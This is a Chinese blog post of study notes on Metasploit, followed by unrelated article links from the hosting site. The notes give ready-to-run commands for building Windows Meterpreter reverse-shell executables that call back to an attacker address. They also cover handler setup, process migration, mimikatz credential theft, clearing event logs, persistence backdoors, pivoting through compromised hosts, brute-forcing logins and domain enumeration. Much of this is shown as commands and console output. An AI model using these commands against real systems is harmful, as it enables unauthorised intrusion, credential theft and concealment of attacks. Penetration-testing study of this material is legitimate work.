metasploit快速入门
今天没上班,在小黑屋里看了一个一百多页的书《metasploit新手指南》,在此将笔记分享给大家。欢迎大家批评指正,共同学习进步。
metasploit新手指南
笔记
kali
0x01
metapoit基本文件结构如下:
config metasploit的环境配置信息,数据库配置信息
data渗透后模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
Db rails编译生成msf的web框架的数据库信息
Documentation 用户说明文档及开发文档
External metasploit的一些基础扩展模块
Libs metasploit的一些基础类和第三方模块类
Log metasploit运行时的一些系统信息和其他信息
Modules metasploit的系统工具模块,包括预辅助模块(auxiliary),渗透模块(exploits),攻击载荷(payloads)和后渗透模块(posts),以及空字段模块(nops)和编码模块(Encode rs)
Msfinscan 对bin文件偏移地址扫描
Msfconsole metasploit的基本命令行,集成了各种功能。
Msfelfscan对linux的elf文件便移地址进行扫描
。
msfmachscan 功能同msfelfscan
msfpescan 对windows的pe格式文件偏移地址进行扫描。
msfvenom 集成了msfpayload和msfencode的功能,效率更高替代了msf payload和msfencode
Plugins metasploit的第三方插件接口.
scripts metasploit的常用后渗透模块,区别与data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行。
0x02
search 参数
可以搜索到你metasploit存在利用模块
use 参数:
你想利用某个payload,或者某个模块都要用use参数。
show options 参数
他可以看到利用模块设置信息
info 参数:
他可以看到模块的所有的详细介绍信息
set 参数:
他是设置Basic targets选项,如set target 1
set session 1
back 参数:
如果想重新选择一个新的利用模块就要用back返回。
exit 参数:
exit和back一样,一个是返回,一个是退出
kill 参数:
杀死一个进程。
0x03
扫描阶段为了方便查看扫描的结果,那么就需要开启postgresql数据库。
search portscanner
use &&
show optionns
run
0x04
生成器msfvenom
root@mvp:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.105.1 lPORT=8099 -f exe >shell.exe
0x05
msfvenom编码生成
https载荷突破防火墙的设置
payload inject射入载荷(相当于把另一个payload添加进原有的会话id,从而返回一个新的绘画id)
auto RDP Port 自动化开3389也可以开任意端口
Inject in Memory 射入内存
0x06
安卓payload生成
0x07
cobaltstrike
一款以metasploit为基础的GUI的框架式渗透工具。
0x08
meterpreter命令分为:
1、核心命令
2、STDapi 文件指令
3、STDapi 网络指令
4、STDapi 用户接口指令
5、STDapi web cam命令
6、STDapi 文件系统命令
7、Priv 提权命令
8、priv 密码数据库命令
9、Priv 时间戳命令
攻击win7.
1
root@mvp:/var/www/html# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.105.1 LPORT=6745 -f exe >win.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 502 bytes
Final size of exe file: 73802 bytes
2
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.105.1
set lport 6745
sessions
sessions -i 1
migrate命令
迁移目标机的一个进程到另一个进程
meterpreter > getpid
Current pid: 3232
meterpreter > run post/windows/manage/migrate
[] Running module against PC-20170804GGMB
[] Current server process: win.exe (3232)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3356
[+] Successfully migrated to process 3356
脚本命令:rum_checkmv检查远程主机是虚拟机还是真正的主机。
run getgui添加用户的命令
run vnc看对方桌面
run packetrecorder -i 0 查看目标系统的所有流量,并且进行数据包记录。
load mimikatz
clearev 清除事件日志
0x09
一:获取meterpreter。
1首先生成可执行文件
root@mvp:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.105.1 LPORT=8934 -f exe > she.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 543 bytes
Final size of exe file: 73802 bytes```
msf > **use multi/handler**
msf exploit(handler) > **set payload windows/meterpreter/reverse_https**
payload => windows/meterpreter/reverse_https
msf exploit(handler) > **set LHOST 192.168.1.105**
LHOST => 192.168.1.105
msf exploit(handler) > **set LPORT 8934**
LPORT => 8934
msf exploit(handler) > **set SessionCommunicationTimeout 0**
SessionCommunicationTimeout => 0
msf exploit(handler) > **set exit0nsession false**
exit0nsession => false
msf exploit(handler) > **exploit -j**
---
二。Meterpreter基本隧道代理
portfwd是meterpreter提供的一种基本端口转发,portfwd可以反弹单个端口到本地,并且监听。
pivot是meterpreter的最常用的一种代理,可以轻松把你的机器代理到受害者内网环境下面介绍下pivot使用方法route add添加临时路由表。使用方法:route add添加临时路由表。
在metasploit添加一个路由表,目的是访问10.1.1.129,将通过meterpreter的会话1来访问。
meterpreter>route
meterpreter>run get_local_subnets 查看路由段
10.1.1.129 255.255.255.255 1 我们的路由标段是这个
Ms exploit(handler)>route add 10.1.1.129 255.255.255.255 1添加路由至本地
route print
===============================
subnet netmask gateway
10.1.1.129 255.255.255.255 session 1
这里如果要代理10.1.1.129/24到session 1,则可以这么写。
到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe模块,ssh模块)将通过代理session 1 这个回话来访问,如果想通过其他应用程序来使用这个代理怎么办呢,这时候可以借助metasploit socks4a提供一个i监听隧道供其他应用程序访问。
首先使用sockes4a并且配置,监听端口
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > exploit -y
[] Auxiliary module execution completed
msf auxiliary(socks4a) >
[] Starting the socks4a proxy server
查看监听端口:
msf auxiliary(socks4a) > netstat -ano | grep "1080"
[*] exec: netstat -ano | grep "1080"
tcp 0 0 0.0.0.0:1080 0.0.0.0:* LISTEN off (0.00/0/0)
端口已经监听,接着配置proxychains
0x10
权限维护。metasploit后门并不怎么好用,建议拿到控制权限后利用外部第三方后门。
一msf中自带后门。
persistence
metsvc
scheduleme & schtasks
0x11
信息搜集
要想很好的搜集信息并为了有一个良好的查看结果,那么我们要做好以下启动msfconsole的三步:启动数据库;查看数据库;链接数据库。
端口扫描:search portscan
目前两大扫描模式:syn/tcp
smb_version识别windows的版本
use auxiliary/scanner/smb/smb_version
mssql_ping默认mssql会监听1433端口或者一个随机的tcp端口,如果监听的是随机端口,可以通过UDP在1433端口查询具体监听的是哪个端口。
use auxiliary/scanner/mssql/mssql_ping
ssh_version识别ssh软件版本
auxiliary/scanner/ssh/ssh_version
ftp_version寻找目标网络中ftp server
暴力破解
kali自带字典路径
/usr/share/metasploit-framework/data/wordlists
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/http/tomcat_mgr_login
假设tomcat帐号密码爆破成功,下面可以拿shell:
exploit/multi/http/tomcat_mgr_deploy
metasploit常见探测服务模块:
**端口扫描**
auxiliary/scanner/portscan
scanner/portscan/ack
scanner/portscan/ftpbounce ftp跳端口扫描
scanner/portscan/syn
scanner/portscan/tcp
scanner/portscan/xmss tcp"xmss"端口扫描
smb扫描
auxiliary/scanner/smb/smb_enumusers smb枚举
auxiliary/scanner/smb/pipe_dcerpc_auditor 返回dcerpc信息
auxiliary/scanner/smb/smb2 扫描smb2协议
auxiliary/scanner/smb/smb_enumshares 扫描smb共享文件
auxiliary/scanner/smb/smb_enumusers 枚举系统上的用户
auxiliary/scanner/smb/smb_login smb登录
use windows/smb/psexec smb登录
auxiliary/scanner/smb/smb_lookupsid 扫描组的用户
auxiliary/scanner/smb/smb_version 扫描系统版本
mssql扫描
admin/mssql/mssql_enum mssql枚举
admin/mssql/mssql_exec mssql执行命令
admin/mssql/mssql_sql mssql查询
scanner/mssql/mssql_login mssql登录工具
另外还有一个mssql_payload模块
smtp扫描
auxiliary/scanner/smtp/smtp_enum smtp枚举
auxiliary/scanner/smtp/smtp_version 扫描smtp版本
snmp扫描
auxiliary/scanner/snmap/community 通过snmp扫描设备
scanner/snmap/community snmp扫描
ssh扫描
auxiliary/scanner/ssh/ssh_login ssh登录
auxiliary/scanner/ssh/ssh_login_pubkey ssh公共 密钥认证登录
auxiliary/scanner/ssh/ssh_version 扫描ssh版本测试
telnet扫描
auxiliary/scanner/telnet/telnet_login telnet登录
auxiliary/scanner/telnet/telnet_version telnet版本
tftp扫描
auxiliary/scanner/tftp/tftpbrute 扫描tftp的文件
scanner/ftp/anonymous ftp版本扫描
arp扫描
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_prode 扫描UDP服务主机
auxiliary/scanner/discovery/udp_sweep 检测常用的udp服务
auxiliary/sniffer/psnuffle sniffer密码
scanner/vnc/vnc_none_auth vnc服务无认证扫描模块
web服务器信息扫描模块
auxiliary/scanner/http下面的http_version,open_proxy,robots_txt,frontpage_login,tomcat_administration,tomcat_utf8_traversal,options,drupal_views_user_enum,scraper,svn_scanner,trace,vhost_scanner,webdav_internal_ip,webdav_scanner,webdav_website_content
文件目录扫描模块
auxiliary/scanner/http/下的backup_file,brute_dirs,copy_of_file,dir_listing,dir_scanner,dir_webdav_unicode_bypass,file_sanme_dir,files_dir,http_put,ms09_020_webdav_unicode_bypass,prev_dir_same_name_file,replace_ext,soap_xml,trace_axd,verb__auth_bypass
auxiliary/scanner/dos/http/apache_range_dos
web应用程序扫描模块
auxiliary/scanner/http/blind_sql_query
auxiliary/scanner/http/error_sql_injection
auxiliary/scanner/http/http_tracersal
auxiliary/scanner/http/rails_mass_assignment
exploit/multi/http/lcms_php_exec
0x12
反弹meterpreter
尝试提权2012服务器
尝试当前帐号bypass提权
相关信息搜集 域信息搜集
net user /domain
net group "domain computer" /domain
net group "domain admins" /domain 查看域管理员
net localgroup administrators
net view /domain
信息分析获取一台服务器权限
net user \ip\c内网渗透的工作:域信息搜集入侵
mimikaz抓取明文
查看抓取到的用户的详细信息net user xxx /domain
尝试使用域令牌假冒
利用smb传递
1使用当前获取到的两个用户权限,快速的进行扫描
2smb_login扫描
3端口转发进内网
4meterpreter端口转发
5msf的socks4a转发
metasploit快速入门的更多相关文章
- Web Api 入门实战 (快速入门+工具使用+不依赖IIS)
平台之大势何人能挡? 带着你的Net飞奔吧!:http://www.cnblogs.com/dunitian/p/4822808.html 屁话我也就不多说了,什么简介的也省了,直接简单概括+demo ...
- SignalR快速入门 ~ 仿QQ即时聊天,消息推送,单聊,群聊,多群公聊(基础=》提升)
SignalR快速入门 ~ 仿QQ即时聊天,消息推送,单聊,群聊,多群公聊(基础=>提升,5个Demo贯彻全篇,感兴趣的玩才是真的学) 官方demo:http://www.asp.net/si ...
- 前端开发小白必学技能—非关系数据库又像关系数据库的MongoDB快速入门命令(2)
今天给大家道个歉,没有及时更新MongoDB快速入门的下篇,最近有点小忙,在此向博友们致歉.下面我将简单地说一下mongdb的一些基本命令以及我们日常开发过程中的一些问题.mongodb可以为我们提供 ...
- 【第三篇】ASP.NET MVC快速入门之安全策略(MVC5+EF6)
目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...
- 【番外篇】ASP.NET MVC快速入门之免费jQuery控件库(MVC5+EF6)
目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...
- Mybatis框架 的快速入门
MyBatis 简介 什么是 MyBatis? MyBatis 是支持普通 SQL 查询,存储过程和高级映射的优秀持久层框架.MyBatis 消除 了几乎所有的 JDBC 代码和参数的手工设置以及结果 ...
- grunt快速入门
快速入门 Grunt和 Grunt 插件是通过 npm 安装并管理的,npm是 Node.js 的包管理器. Grunt 0.4.x 必须配合Node.js >= 0.8.0版本使用.:奇数版本 ...
- 【第一篇】ASP.NET MVC快速入门之数据库操作(MVC5+EF6)
目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...
- 【第四篇】ASP.NET MVC快速入门之完整示例(MVC5+EF6)
目录 [第一篇]ASP.NET MVC快速入门之数据库操作(MVC5+EF6) [第二篇]ASP.NET MVC快速入门之数据注解(MVC5+EF6) [第三篇]ASP.NET MVC快速入门之安全策 ...
随机推荐
- CSS Why
前面的话 在CSS学习目录中,已经详细地介绍了CSS如何使用.知其然,还要知其所以然.本文将介绍CSS各部分出现的原因,仅限个人理解,如有不妥,欢迎交流 Why CSS 早期的大多数网站标记几乎完全由 ...
- ecshop的aes加密(封装)
从一家做shopex,ecstore的公司到一家做b2b的ecshop的公司...来了就要实战,其他的不说了,先来了解什么是php的aes加密吧? aes(高级加密标准),AES的区块长度固定为128 ...
- 禁用自动映射的 Exchange 邮箱
客户最近询问他们无法从用户的Outlook配置文件中删除邮箱.在这种情况下,它们是共享邮箱,并出现在Outlook的左窗格中.但原因和解决方法同样适用于用户邮箱.并且 无论用户邮箱在本地 Exchan ...
- 9.session的生命周期
1.创建 当客户端第一次访问某个jsp或者Servlet的时候,服务器会为当前会话创建一个SessionId,每次客户端向服务端发送请求的时候,都会将此SessionId携带过去,服务端会对此Sess ...
- Error creating document instance
Error creating document instance. Cause: org.xml.sax.SAXParseException; lineNumber: 52; columnNumbe ...
- Python3中的模块
模块使用哪种语言实现并不重要,因为所有的模块导入与使用的方式都相同. 1.常用模块导入格式: import importable1,importable2,... import importable ...
- 本地服务器 windows server 2008 datacenter conn /as sysdba 提示 ora-01031 insufficient privileges
原因是需要把当前用户administrator(为例)添加到ora_dba组里. 服务器管理器--配置--本地用户和组--组
- (转载)Java多线程的监控分析工具(VisualVM)
原文链接:http://blog.csdn.net/chendc201/article/details/22905511 在Java多线程程序运行时,多数情况下我们不知道到底发生了什么,只有出了错误的 ...
- SerializableObj
package JBJADV003; import java.io.*; public class SerializableObj { /** * @param args * @throws IOEx ...
- poj 2299 Ultra-QuickSort 题解
Description In this problem, you have to analyze a particular sorting algorithm. The algorithm proce ...